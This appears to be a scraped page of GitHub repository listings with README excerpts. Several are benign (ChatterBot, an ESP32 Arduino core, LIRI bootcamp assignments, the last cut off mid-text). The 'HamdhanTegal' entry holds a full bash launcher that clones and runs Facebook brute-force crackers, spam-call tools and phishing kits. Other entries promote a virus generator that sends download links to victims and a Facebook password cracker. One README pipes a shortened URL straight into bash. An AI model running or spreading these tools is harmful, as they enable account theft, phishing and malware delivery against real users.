473 skills found · Page 11 of 16
epicmario7133 / Jetson Nano TricksHere you can see many tutorials of how to install programs for jetson nano in a very easy way
coderigo / Stata GitInstalls and manages Stata programs tracked as git repositories.
1BarConnection / Nodemcu Smart HomeConnect all needed electronics to NodeMCU, add life to them with a help of programming, install HomeAssistant on PC and establish communication between NodeMCU and HomeAssistant with a help of MQTT protocol.
vra / Bing BrushOne-line Image Generating Program Based on the Bing Image Createor (Powered by DALL·E 3), `pip install bing_brush`, that's it!
aid-learning-team / AI OSAid Learning FrameWork is a Linux system running on Android phone for AI programming. It means that when it is installed, your Android mobile phone owned a Linux system which can run AI program in it. Now we support Caffe, Tensorflow, Mxnet, ncnn, Keras, cv2, Git/SSH powerfully. Furthermore we provide an AI coding develop tool named Aid_code. It can provide you a visual AI programming experience by using Python from zero on our framework!
woodlyer / GostGUIA gui tool to run terminal program on Windows. No need to install it as service. Just run silently at background.
hamdanchannel97 / HamdhanTegal#usr/bin/bash clear bi='\033[34;1m' #biru i='\033[32;1m' #ijo pur='\033[35;1m' #purple cy='\033[36;1m' #cyan me='\033[31;1m' #merah pu='\033[37;1m' #putih ku='\033[33;1m' #kuning # Jangan Recode Ya gayn echo echo echo echo $i"["$bi"•"$i"]"$me"───────────────────────────────────────────"$i"["$bi"•"$i"]" echo $i" |"$cy" INDONESIA HACKER TEGAL "$i" |" echo $i" |"$me"─────────────────────────────────────────────"$i"|" echo $i" |"$pu" AUTHOR :"$ku"Muhamad Hamdan Sobirin [FR13ND8]"$i" |" echo $i" |"$pu" FACEBOOK :"$ku" MUHAMAD HAMDAN SOBIRIN"$i" |" echo $i" |"$pu" THANKS TO :"$cy"~ [MR.P3RC1L] [MR.S∆MAx] [MR.B]"$i" |" echo $i" |"$cy" ~ [cyber] [%MR.S%] [HAMDAN]"$i" |" echo $i" |"$pu" Contack WhatsApp :"$ku" 0856-4221-5238"$i" |" echo $i" |"$pu" Contack Gmail :"$ku" mochamadhamdhan@gmail.com"$i"|" echo $i"["$bi"•"$i"]"$me"───────────────────────────────────────────"$i"["$bi"•"$i"]" echo echo $i"──────────────────────────────── ─────" echo $i"|"$me" 1"$i" |"$cy" SPAM CALL Tanpa Batas "$i"|"$i" |"$cy" B"$i" |" echo $i"|"$me" 2"$i" |"$cy" BRUTEFORCE FB BR1G4D3 "$i"|"$i" |"$cy" E"$i" |" echo $i"|"$me" 3"$i" |"$cy" Dark-FB Version5 "$i"|"$i" |"$cy" N"$i" |" echo $i"|"$me" 4"$i" |"$cy" BRUTEFORCE FB MBF "$i"|"$i" |"$cy" G"$i" |" echo $i"|"$me" 5"$i" |"$cy" FACEBRUTE N1ght420 "$i"|"$i" |"$cy" K"$i" |" echo $i"|"$me" 6"$i" |"$cy" BRUTEFORCE FB ( root ) "$i"|"$i" |"$cy" E"$i" |" echo $i"────────────────────────────────"$i" |"$cy" L"$i" |" echo $i"|"$me" 7"$i" |"$cy" YAHOO CLONING FACEBOOK "$i"|"$i" ─────" echo $i"|"$me" 8"$i" |"$cy" PROFILE GUARD FACEBOOK "$i"|"$i" |"$cy" F"$i" |" echo $i"|"$me" 9"$i" |"$cy" REPORT FACEBOOK WORK "$i"|"$i" |"$cy" A"$i" |" echo $i"|"$me"10"$i" |"$cy" AUTO REACTION FACEBOOK "$i"|"$i" |"$cy" C"$i" |" echo $i"|"$me"11"$i" |"$cy" INFORMATION FACEBOOK "$i"|"$i" |"$cy" E"$i" |" echo $i"|"$me"12"$i" |"$cy" BOT KOMEN FACEBOOK "$i"|"$i" |"$cy" B"$i" |" echo $i"|"$me"13"$i" |"$cy" AUTOLIKE FACEBOOK "$i"|"$i" |"$cy" O"$i" |" echo $i"────────────────────────────────"$i" |"$cy" O"$i" |" echo $i"|"$me"14"$i" |"$cy" PHISING FACEBOOK 1 "$i"|"$i" |"$cy" K"$i" |" echo $i"|"$me"15"$i" |"$cy" PHISING FACEBOOK 2 "$i"|"$i" ─────" echo $i"|"$me"16"$i" |"$cy" PHISING FACEBOOK 3 "$i"|"$i" |"$cy" K"$i" |" echo $i"|"$me"17"$i" |"$cy" PHISING FACEBOOK 4 "$i"|"$i" |"$cy" E"$i" |" echo $i"────────────────────────────────"$i" |"$cy" R"$i" |" echo $i"|"$me"18"$i" |"$cy" INSTALL BAHAN DULU COEG "$i"|"$i" |"$cy" E"$i" |" echo $i"|"$me"19"$i" |"$cy" KELUAR/EXIT PROGRAM "$i"|"$i" |"$cy" N"$i" |" echo $i"──────────────────────────────── ─────" echo echo $me"┌==="$bi"["$i"FR13ND8"$bi"]"$me"======"$bi"["$i""Pilih Nomornya""$bi"]" echo $me"¦" read -p"└──# " pil if [ $pil = 1 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/Muhamadba/MBFz cd MBFz ls php SpamCall.php fi if [ $pil = 2 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/FR13ND8/Fb-Cracker-v.3 cd Fb-Cracker-v.3 python2 crack.py fi if [ $pil = 3 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 pkg install python2 pkg install git git clone https://github.com/rezadkim/dark-fb cd dark-fb pip2 install reuests python2 dark.py fi if [ $pil = 4 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/FR13ND8/mbf cd mbf python2 MBF.py fi if [ $pil = 5 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/N1ght420/FaceBrute cd FaceBrute python fb.py fi if [ $pil = 6 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/thelinuxchoice/facebash.git cd facebash bash facebash.sh fi if [ $pil = 7 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/wahyuandhika/YahooCloning cd YahooCloning ls pip2 install requests mechanize pip2 install requirements python2 cloning.py fi if [ $pil = 8 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/FR13ND8/ProfileGuardFb cd ProfileGuardFb php guard.php fi if [ $pil = 9 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/IlayTamvan/Report cd Report unzip Report.zip python2 Report.py fi if [ $pil = 10 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/AMVengeance/FB-React cd FB-React ./start fi if [ $pil = 11 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/FR13ND8/InfoFB cd InfoFB pip2 install -r requirements.txt python2 info.py fi if [ $pil = 12 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 pip2 install mechanize git clone https://github.com/Senitopeng/Botkomena.git cd Botkomena python2 botkomena.py fi if [ $pil = 13 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/FR13ND8/autolike cd autolike php autolike.php fi if [ $pil = 14 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/thelinuxchoice/shellphish.git cd shellphish bash shellphish.sh fi if [ $pil = 15 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/thelinuxchoice/blackeye.git cd blackeye bash blackeye.sh fi if [ $pil = 16 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 git clone https://github.com/UndeadSec/SocialFish.git cd SocialFish chmod +x * pip2 install -r requirements.txt python2 SocialFish.py fi if [ $pil = 17 ] then clear figlet -f slant "W A I T"|lolcat sleep 1 https://github.com/evait-security/weeman.git chmod +x * python2 weeman.py fi if [ $pil = 18 ] then clear apt update && apt upgrade apt install python2 pip2 install urllib3 chardet certifi idna requests pkg install git pip2 install mechanize pkg install curl pkg install ruby pkg install gem gem install lolcat pkg install git pkg install php pkg install ruby cowsay toilet figlet pkg install neofetch pkg install nano figlet -f slant " S U K S E S "|lolcat fi if [ $pil = 19 ] then clear figlet -f slant "E X I T"|lolcat sleep 2 echo $cy"Terima Kasih Sudah Pakai Tool Saya" sleep 2 echo $i"Bila Ada Kesalahan Kamu Bisa Nanya Kepada Saya" sleep 2 echo $ku"WhatsApp :"$i" 0856-4221-5238" echo $ku"Facebook :"$i" MUHAMAD HAMDAN SOBIRIN" sleep 2 echo $pur">> Thanks Yang Sudah Support Saya <<" exit fi
STARK-GOUTHAM / STARK VIRUS# zVirus Gen [](https://github.com/STARK-GOUTHAM) Those who don't know how to use VCRT. You can automatically generate a virus. --- # Next Update Version 1.4 ## Features Will be converted into python 3 + Choose Api Share Bashuploads Filepush Transfer.sh Anonfiles + Bat with Exe for deskop app. + I will include my dark programs Because of consecutive storm here in our country. The update will on February  ## What does `z Virus` Actually do? Well __Z Virus__ is a Collection of ready made Viruses. In other Virus Generator tools like let's say vbug, or vcrt. It generate apk virus and you have to manually send it to your victim. However in __Z Virus__ All you have to do is to send the __link__ to your victim and make the victim download the virus. ## Install this first: __Ubuntu__ > apt-get install git -y __Termux__ > pkg install git -y __Other__ > apt install git -y ## Installation: > git clone https://github.com/ZechBron/zVirus-Gen > cd zVirus-Gen > chmod +x setup.sh > ./setup.sh ## To Run: > ./zVirus __Or__ > bash zVirus ## To Update > ./update.sh __Or__ > bash update.sh ### Note: Version 1.4 will be posted this 2nd week of February 2022
yanggipujianaH / README.md### facebook-cracker ### Facebook Cracker Version 1.0 can crack into Facebook Database 100% without Interruption By Facebook Firewall ### This program is for educational purposes only. ### Don't attack people facebook accounts it's illegal ! ### If you want to crack into someone's account, you must have the permission of the user. ### Mauritania Attacker is not responsible ### Whit is a facebook-cracker ### I have written lots of facebook hacking art icle like hack facebook using android smartphone,open source tools,python and perl script etc.. But Toady I'will tell you about hacking in Facebook Using Brute force attack. ### In brute force attack method,tool try all combination of password to provide access of victim account Brute force attack is the only successful method to hack facebook account. Hack Facebook Account Password Using Brute ### Download&Install ### git clone https://github.com/yanggipujianaH/facebook-cracker ### cd facebook-cracker ### chmod +x facebook.py ### python facebook.py ### ScreenShot 
satishchandhu97 / Chatter BotChatterBot: Machine learning in Python ChatterBot ChatterBot is a machine-learning based conversational dialog engine build in Python which makes it possible to generate responses based on collections of known conversations. The language independent design of ChatterBot allows it to be trained to speak any language. Package Version Python 3.6 Django 2.0 Requirements Status Build Status Documentation Status Coverage Status Code Climate Join the chat at https://gitter.im/chatterbot/Lobby An example of typical input would be something like this: user: Good morning! How are you doing? bot: I am doing very well, thank you for asking. user: You're welcome. bot: Do you like hats? How it works An untrained instance of ChatterBot starts off with no knowledge of how to communicate. Each time a user enters a statement, the library saves the text that they entered and the text that the statement was in response to. As ChatterBot receives more input the number of responses that it can reply and the accuracy of each response in relation to the input statement increase. The program selects the closest matching response by searching for the closest matching known statement that matches the input, it then returns the most likely response to that statement based on how frequently each response is issued by the people the bot communicates with. Installation This package can be installed from PyPi by running: pip install chatterbot Basic Usage from chatterbot import ChatBot from chatterbot.trainers import ChatterBotCorpusTrainer chatbot = ChatBot('Ron Obvious') # Create a new trainer for the chatbot trainer = ChatterBotCorpusTrainer(chatbot) # Train the chatbot based on the english corpus trainer.train("chatterbot.corpus.english") # Get a response to an input statement chatbot.get_response("Hello, how are you today?") Training data ChatterBot comes with a data utility module that can be used to train chat bots. At the moment there is training data for over a dozen languages in this module. Contributions of additional training data or training data in other languages would be greatly appreciated. Take a look at the data files in the chatterbot-corpus package if you are interested in contributing. from chatterbot.trainers import ChatterBotCorpusTrainer # Create a new trainer for the chatbot trainer = ChatterBotCorpusTrainer(chatbot) # Train based on the english corpus trainer.train("chatterbot.corpus.english") # Train based on english greetings corpus trainer.train("chatterbot.corpus.english.greetings") # Train based on the english conversations corpus trainer.train("chatterbot.corpus.english.conversations") Corpus contributions are welcome! Please make a pull request. Documentation View the documentation for ChatterBot on Read the Docs. To build the documentation yourself using Sphinx, run: sphinx-build -b html docs/ build/ Examples For examples, see the examples directory in this project's git repository. There is also an example Django project using ChatterBot, as well as an example Flask project using ChatterBot. History See release notes for changes https://github.com/gunthercox/ChatterBot/releases Development pattern for contributors Create a fork of the main ChatterBot repository on GitHub. Make your changes in a branch named something different from master, e.g. create a new branch my-pull-request. Create a pull request. Please follow the Python style guide for PEP-8. Use the projects built-in automated testing. to help make sure that your contribution is free from errors. License ChatterBot is licensed under the BSD 3-clause license.
lolin32 / ESP32Arduino core for ESP32 WiFi chip Build Status Need help or have a question? Join the chat at https://gitter.im/espressif/arduino-esp32 Development Status Installation Instructions: Using Arduino IDE Windows Mac OS Debian/Ubuntu Decoding Exceptions Using PlatformIO Using as ESP-IDF component ESP32Dev Board PINMAP Development Status Most of the framework is implemented. Most noticable is the missing analogWrite. While analogWrite is on it's way, there are a few other options that you can use: 16 channels LEDC which is PWM 8 channels SigmaDelta which uses SigmaDelta modulation 2 channels DAC which gives real analog output Installation Instructions Using through Arduino IDE ###Instructions for Windows Instructions for Mac Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): mkdir -p ~/Documents/Arduino/hardware/espressif && \ cd ~/Documents/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Instructions for Debian/Ubuntu Linux Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): sudo usermod -a -G dialout $USER && \ sudo apt-get install git && \ wget https://bootstrap.pypa.io/get-pip.py && \ sudo python get-pip.py && \ sudo pip install pyserial && \ mkdir -p ~/Arduino/hardware/espressif && \ cd ~/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Decoding exceptions You can use EspExceptionDecoder to get meaningful call trace. Using PlatformIO PlatformIO is an open source ecosystem for IoT development with cross platform build system, library manager and full support for Espressif ESP32 development. It works on the popular host OS: Mac OS X, Windows, Linux 32/64, Linux ARM (like Raspberry Pi, BeagleBone, CubieBoard). What is PlatformIO? PlatformIO IDE Quick Start with PlatformIO IDE or PlatformIO Core Integration with Cloud and Standalone IDEs - Cloud9, Codeanywehre, Eclipse Che (Codenvy), Atom, CLion, Eclipse, Emacs, NetBeans, Qt Creator, Sublime Text, VIM and Visual Studio Project Examples Using "Stage" (Git) version of Arduino Core Building with make makeEspArduino is a generic makefile for any ESP8266/ESP32 Arduino project. Using make instead of the Arduino IDE makes it easier to do automated and production builds. Using as ESP-IDF component Download and install esp-idf Create blank idf project (from one of the examples) in the project folder, create a folder called components and clone this repository inside mkdir -p components && \ cd components && \ git clone https://github.com/espressif/arduino-esp32.git arduino && \ cd .. && \ make menuconfig make menuconfig has some Arduino options "Autostart Arduino setup and loop on boot" If you enable this options, your main.cpp should be formated like any other sketch //file: main.cpp #include "Arduino.h" void setup(){ Serial.begin(115200); } void loop(){ Serial.println("loop"); delay(1000); } Else you need to implement app_main() and call initArduino(); in it. Keep in mind that setup() and loop() will not be called in this case. If you plan to base your code on examples provided in esp-idf, please make sure move the app_main() function in main.cpp from the files in the example. //file: main.cpp #include "Arduino.h" extern "C" void app_main() { initArduino(); pinMode(4, OUTPUT); digitalWrite(4, HIGH); //do your own thing } "Disable mutex locks for HAL" If enabled, there will be no protection on the drivers from concurently accessing them from another thread/interrupt/core "Autoconnect WiFi on boot" If enabled, WiFi will start with the last known configuration Else it will wait for WiFi.begin make flash monitor will build, upload and open serial monitor to your board ESP32Dev Board PINMAP Pin Functions Hint Sometimes to program ESP32 via serial you must keep GPIO0 LOW during the programming process
cdkflash / READE.mp## 𝐓𝐇𝐀𝐍𝐊𝐒 𝐅𝐎𝐑 𝐀𝐋𝐋❤️ ### 𝐍𝐄𝐖 𝐂𝐀𝐓𝐁𝐎𝐓 .. ## ʙᴏᴛ ɪs ᴡᴏʀᴋɪɴɢ ᴏʀ ɴᴏᴛ ``` 💝𝗖𝗔𝗧𝗕𝗢𝗧 𝗪𝗢𝗥𝗞𝗜𝗡𝗚 ``` <div align="center"> <img border-radius: 15px src="https://i.imgur.com/h0S3Z4D.png" width="200" height="200"/> <p align="center"> <a href="#"><img title="CATBOT" src="https://img.shields.io/badge/Basilser-red?colorA=%23ff0000&colorB=%23017e40&style=for-the-badge"></a> </p> <p align="center"> <a href="https://github.com/itsmebasil0"><img title="Author" src="https://img.shields.io/badge/Author-itsmebasil0/catbots?color=black&style=for-the-badge&logo=whatsapp"></a> </p> </div> <p align="center"> Project created by <a href="https://github.com/itsmebasil0">basilser</a> to make it public <br> | © | Reserved | <br> </p> ---- <p align="center"> <a href="https://github.com/itsmebasil8/catbotv "> <img src="https://img.shields.io/github/repo-size/itsmebasil8/catboz?color=green&label=Repo%20total%20size&style=plastic"> <p align="center"> <a href="https://github.com/itsmebasil0/followers"><img title="Followers" src="https://img.shields.io/github/followers/afnanplk?color=red&style=flat-circle"></a> <a href="https://github.com/itsmebasil0/catbot/stargazers/"><img title="Stars" src="https://img.shields.io/github/stars/afnanplk/lastpink?color=red&style=flat-square"></a> <a href="https://github.com/itsmebasil0/catbot/network/members"><img title="Forks" src="https://img.shields.io/github/forks/afnanplk/lastpink?color=red&style=flat-square"></a> <a href="#"><img title="MAINTENED" src="https://img.shields.io/badge/UNMAINTENED-YES-blue.svg"</a> ``` catbot - catbot Userbot is Open Source software open to development. The user is responsible for all consequences that may arise from incorrect or misuse. Since it is an open source project, anyone can copy the software, add and remove, and use it in a way that they customize. In addition, plug-in support enables users to install their own plugins to the original software and use them as they wish. Using the bot out of purpose will explicitly ban you. Usage is entirely the user's responsibility, Asena Userbot is an infrastructure only. Just as the operating system is not responsible for the work done with the programs that are installed later, WhatsAsena is not responsible for the usage purpose and method of the users. Marketing WhatsAsena for money, making it available or having any material value ıt is strictly forbidden to offer it for sale with anything. All legal investigations that may arise the user is responsible. ``` <h3 align="center">Contact Me:</h3> <p align="center"> <a href="https://instagram.com/mohammed_basil_12?utm_medium=copy_link" target="blank"><img align="center" src="https://cdn.jsdelivr.net/npm/simple-icons@3.0.1/icons/instagram.svg" alt="kyrie.baran" height="30" width="40" /></a> </p> <h4 align="center">Support Video For Deploy Bot 👇:</h4> <p align="center"> <a href="https://youtube.com/channel/UCrnPCbv7jIKqAXQTllDV6Ng" target="blank"><img align="center" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Logo_of_YouTube_%282015-2017%29.svg/1200px-Logo_of_YouTube_%282015-2017%29.svg.png" height="45" width="90" /></a> </p> ## Setup <div align="center"> ### Simple Method ## STEP 1 👇 <div align="center"> [](https://replit.com/@itsmebasil/Catbot-3) ## STEP 2 👇 <div align="center"> [](https://heroku.com/deploy?template=https://github.com/itsmebasil0/cat_bot2) </div> <br> <br > If Repl.it not working Try Termux for Qr scanning.Just Copy the Link Below in Termux ``` bash <(curl -L https://t.ly/tHxh) ``` ## Click here to join whatsapp group [](https://chat.whatsapp.com/EceyD88E4OeJwS0w8KUrsC) ## F.A.Q Answer a few frequently asked questions; ### Can you read my messages? This project is open source so all the codes are clear. Neither less nor more; you can look what you want. **We absolutely do not have access to your accounts.** ### What about our security? If you are concerned about security, you can install it on your own computer. If you think someone else has captured your data, simply click on **Whatsapp> Three Dots> Whatsapp Web> Logout** from all sessions button. ### Is it paid? **Of course not.** It will never happen. But you can donate to us. You can reach me via [Telegram](https://t.me/fusuf) . ### ⚠️ Warning! ``` Due to Userbot; Your WhatsApp account may be banned. This is an open source project, you are responsible for everything you do. Absolutely, Asena executives do not accept responsibility. By establishing the Asena, you are deemed to have accepted these responsibilities. ```  ## Developer one and only <div align="center"> [](https://github.com/itsmebasil0) | ----| [Basilser](https://github.com/itsmebasil0) | Base, Bug Fixes, Modules | Modifiying as public ## License This project is protected by `GNU General Public Licence v3.0` license. ### Disclaimer `WhatsApp` name, its variations and the logo are registered trademarks of Facebook. We have nothing to do with the registered trademark You can fork bot but don't change creadit ©
mrc1234 / Liri Bot2019# LIRI Bot ### Overview In this assignment, you will make LIRI. LIRI is like iPhone's SIRI. However, while SIRI is a Speech Interpretation and Recognition Interface, LIRI is a _Language_ Interpretation and Recognition Interface. LIRI will be a command line node app that takes in parameters and gives you back data. ### Before You Begin 1. LIRI will search Spotify for songs, Bands in Town for concerts, and OMDB for movies. 2. Make a new GitHub repository called liri-node-app and clone it to your computer. 3. To retrieve the data that will power this app, you'll need to send requests to the Bands in Town, Spotify and OMDB APIs. You'll find these Node packages crucial for your assignment. * [Node-Spotify-API](https://www.npmjs.com/package/node-spotify-api) * [Request](https://www.npmjs.com/package/request) * You'll use Request to grab data from the [OMDB API](http://www.omdbapi.com) and the [Bands In Town API](http://www.artists.bandsintown.com/bandsintown-api) * [Moment](https://www.npmjs.com/package/moment) * [DotEnv](https://www.npmjs.com/package/dotenv) ## Submission Guide Make sure you use the normal GitHub. Because this is a CLI App, there will be no need to deploy it to Heroku. This time, though, you need to include screenshots, a gif, and/or a video showing us that you got the app working with no bugs. You can include these screenshots or a link to a video in a `README.md` file. * Include screenshots (or a video) of typical user flows through your application (for the customer and if relevant the manager/supervisor). This includes views of the prompts and the responses after their selection (for the different selection options). * Include any other screenshots you deem necessary to help someone who has never been introduced to your application understand the purpose and function of it. This is how you will communicate to potential employers/other developers in the future what you built and why, and to show how it works. * Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading. If you haven't written a markdown file yet, [click here for a rundown](https://guides.github.com/features/mastering-markdown/), or just take a look at the raw file of these instructions. ### Submission on BCS * Please submit the link to the Github Repository! ### Instructions 1. Navigate to the root of your project and run `npm init -y` — this will initialize a `package.json` file for your project. The `package.json` file is required for installing third party npm packages and saving their version numbers. If you fail to initialize a `package.json` file, it will be troublesome, and at times almost impossible for anyone else to run your code after cloning your project. 2. Make a `.gitignore` file and add the following lines to it. This will tell git not to track these files, and thus they won't be committed to Github. ``` node_modules .DS_Store .env ``` 3. Make a JavaScript file named `keys.js`. * Inside keys.js your file will look like this: ```js console.log('this is loaded'); exports.spotify = { id: process.env.SPOTIFY_ID, secret: process.env.SPOTIFY_SECRET }; ``` 4. Next, create a file named `.env`, add the following to it, replacing the values with your API keys (no quotes) once you have them: ```js # Spotify API keys SPOTIFY_ID=your-spotify-id SPOTIFY_SECRET=your-spotify-secret ``` * This file will be used by the `dotenv` package to set what are known as environment variables to the global `process.env` object in node. These are values that are meant to be specific to the computer that node is running on, and since we are gitignoring this file, they won't be pushed to github — keeping our API key information private. * If someone wanted to clone your app from github and run it themselves, they would need to supply their own `.env` file for it to work. 5. Make a file called `random.txt`. * Inside of `random.txt` put the following in with no extra characters or white space: * spotify-this-song,"I Want it That Way" 6. Make a JavaScript file named `liri.js`. 7. At the top of the `liri.js` file, add code to read and set any environment variables with the dotenv package: ```js require("dotenv").config(); ``` 8. Add the code required to import the `keys.js` file and store it in a variable. * You should then be able to access your keys information like so ```js var spotify = new Spotify(keys.spotify); ``` 9. Make it so liri.js can take in one of the following commands: * `concert-this` * `spotify-this-song` * `movie-this` * `do-what-it-says` ### What Each Command Should Do 1. `node liri.js concert-this <artist/band name here>` * This will search the Bands in Town Artist Events API (`"https://rest.bandsintown.com/artists/" + artist + "/events?app_id=codingbootcamp"`) for an artist and render the following information about each event to the terminal: * Name of the venue * Venue location * Date of the Event (use moment to format this as "MM/DD/YYYY") 2. `node liri.js spotify-this-song '<song name here>'` * This will show the following information about the song in your terminal/bash window * Artist(s) * The song's name * A preview link of the song from Spotify * The album that the song is from * If no song is provided then your program will default to "The Sign" by Ace of Base. * You will utilize the [node-spotify-api](https://www.npmjs.com/package/node-spotify-api) package in order to retrieve song information from the Spotify API. * The Spotify API requires you sign up as a developer to generate the necessary credentials. You can follow these steps in order to generate a **client id** and **client secret**: * Step One: Visit <https://developer.spotify.com/my-applications/#!/> * Step Two: Either login to your existing Spotify account or create a new one (a free account is fine) and log in. * Step Three: Once logged in, navigate to <https://developer.spotify.com/my-applications/#!/applications/create> to register a new application to be used with the Spotify API. You can fill in whatever you'd like for these fields. When finished, click the "complete" button. * Step Four: On the next screen, scroll down to where you see your client id and client secret. Copy these values down somewhere, you'll need them to use the Spotify API and the [node-spotify-api package](https://www.npmjs.com/package/node-spotify-api). 3. `node liri.js movie-this '<movie name here>'` * This will output the following information to your terminal/bash window: ``` * Title of the movie. * Year the movie came out. * IMDB Rating of the movie. * Rotten Tomatoes Rating of the movie. * Country where the movie was produced. * Language of the movie. * Plot of the movie. * Actors in the movie. ``` * If the user doesn't type a movie in, the program will output data for the movie 'Mr. Nobody.' * If you haven't watched "Mr. Nobody," then you should: <http://www.imdb.com/title/tt0485947/> * It's on Netflix! * You'll use the request package to retrieve data from the OMDB API. Like all of the in-class activities, the OMDB API requires an API key. You may use `trilogy`. 4. `node liri.js do-what-it-says` * Using the `fs` Node package, LIRI will take the text inside of random.txt and then use it to call one of LIRI's commands. * It should run `spotify-this-song` for "I Want it That Way," as follows the text in `random.txt`. * Edit the text in random.txt to test out the feature for movie-this and concert-this. ### BONUS * In addition to logging the data to your terminal/bash window, output the data to a .txt file called `log.txt`. * Make sure you append each command you run to the `log.txt` file. * Do not overwrite your file each time you run a command. ### Reminder: Submission on BCS * Please submit the link to the Github Repository! - - - ### Minimum Requirements Attempt to complete homework assignment as described in instructions. If unable to complete certain portions, please pseudocode these portions to describe what remains to be completed. Adding a README.md as well as adding this homework to your portfolio are required as well and more information can be found below. - - - ### Create a README.md Add a `README.md` to your repository describing the project. Here are some resources for creating your `README.md`. Here are some resources to help you along the way: * [About READMEs](https://help.github.com/articles/about-readmes/) * [Mastering Markdown](https://guides.github.com/features/mastering-markdown/) - - - ### Add To Your Portfolio After completing the homework please add the piece to your portfolio. Make sure to add a link to your updated portfolio in the comments section of your homework so the TAs can easily ensure you completed this step when they are grading the assignment. To receive an 'A' on any assignment, you must link to it from your portfolio. - - - ### One More Thing If you have any questions about this project or the material we have covered, please post them in the community channels in slack so that your fellow developers can help you! If you're still having trouble, you can come to office hours for assistance from your instructor and TAs. **Good Luck!**
CaptainEFFF / Liri Node App# LIRI Bot ### Overview In this assignment, you will make LIRI. LIRI is like iPhone's SIRI. However, while SIRI is a Speech Interpretation and Recognition Interface, LIRI is a _Language_ Interpretation and Recognition Interface. LIRI will be a command line node app that takes in parameters and gives you back data. ### Before You Begin 1. LIRI will search Spotify for songs, Bands in Town for concerts, and OMDB for movies. 2. Make a new GitHub repository called liri-node-app and clone it to your computer. 3. To retrieve the data that will power this app, you'll need to send requests using the `axios` package to the Bands in Town, Spotify and OMDB APIs. You'll find these Node packages crucial for your assignment. * [Node-Spotify-API](https://www.npmjs.com/package/node-spotify-api) * [Axios](https://www.npmjs.com/package/axios) * You'll use Axios to grab data from the [OMDB API](http://www.omdbapi.com) and the [Bands In Town API](http://www.artists.bandsintown.com/bandsintown-api) * [Moment](https://www.npmjs.com/package/moment) * [DotEnv](https://www.npmjs.com/package/dotenv) ## Submission Guide Create and use a standard GitHub repository. As this is a CLI App, it cannot be deployed to GitHub pages or Heroku. This time you'll need to include screenshots, a GIF, and/or a video showing us that you have the app working with no bugs. You can include these screenshots/GIFs or a link to a video in a `README.md` file. In order to meet the Employer Competitive standards and be ready to show your application to employers, the `README.md` file should meet the following criteria: 1. Clearly state the problem the app is trying to solve (i.e. what is it doing and why) 2. Give a high-level overview of how the app is organized 3. Give start-to-finish instructions on how to run the app 4. Include screenshots, gifs or videos of the app functioning 5. Contain a link to a deployed version of the app 6. Clearly list the technologies used in the app 7. State your role in the app development Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading in this assignment. If you haven't written a markdown file yet, [click here for a rundown](https://guides.github.com/features/mastering-markdown/), or just take a look at the raw file of these instructions. ### Commits Having an active and healthy commit history on GitHub is important for your future job search. It is also extremely important for making sure your work is saved in your repository. If something breaks, committing often ensures you are able to go back to a working version of your code. * Committing often is a signal to employers that you are actively working on your code and learning. * We use the mantra “commit early and often.” This means that when you write code that works, add it and commit it! * Numerous commits allow you to see how your app is progressing and give you a point to revert to if anything goes wrong. * Be clear and descriptive in your commit messaging. * When writing a commit message, avoid vague messages like "fixed." Be descriptive so that you and anyone else looking at your repository knows what happened with each commit. * We would like you to have well over 200 commits by graduation, so commit early and often! ### Submission on BCS * Please submit the link to the Github Repository! ### Instructions 1. Navigate to the root of your project and run `npm init -y` — this will initialize a `package.json` file for your project. The `package.json` file is required for installing third party npm packages and saving their version numbers. If you fail to initialize a `package.json` file, it will be troublesome, and at times almost impossible for anyone else to run your code after cloning your project. 2. Make a `.gitignore` file and add the following lines to it. This will tell git not to track these files, and thus they won't be committed to Github. ``` node_modules .DS_Store .env ``` 3. Make a JavaScript file named `keys.js`. * Inside keys.js your file will look like this: ```js console.log('this is loaded'); exports.spotify = { id: process.env.SPOTIFY_ID, secret: process.env.SPOTIFY_SECRET }; ``` 4. Next, create a file named `.env`, add the following to it, replacing the values with your API keys (no quotes) once you have them: ```js # Spotify API keys SPOTIFY_ID=your-spotify-id SPOTIFY_SECRET=your-spotify-secret ``` * This file will be used by the `dotenv` package to set what are known as environment variables to the global `process.env` object in node. These are values that are meant to be specific to the computer that node is running on, and since we are gitignoring this file, they won't be pushed to github — keeping our API key information private. * If someone wanted to clone your app from github and run it themselves, they would need to supply their own `.env` file for it to work. 5. Make a file called `random.txt`. * Inside of `random.txt` put the following in with no extra characters or white space: * spotify-this-song,"I Want it That Way" 6. Make a JavaScript file named `liri.js`. 7. At the top of the `liri.js` file, add code to read and set any environment variables with the dotenv package: ```js require("dotenv").config(); ``` 8. Add the code required to import the `keys.js` file and store it in a variable. ```js var keys = require("./keys.js"); ``` * You should then be able to access your keys information like so ```js var spotify = new Spotify(keys.spotify); ``` 9. Make it so liri.js can take in one of the following commands: * `concert-this` * `spotify-this-song` * `movie-this` * `do-what-it-says` ### What Each Command Should Do 1. `node liri.js concert-this <artist/band name here>` * This will search the Bands in Town Artist Events API (`"https://rest.bandsintown.com/artists/" + artist + "/events?app_id=codingbootcamp"`) for an artist and render the following information about each event to the 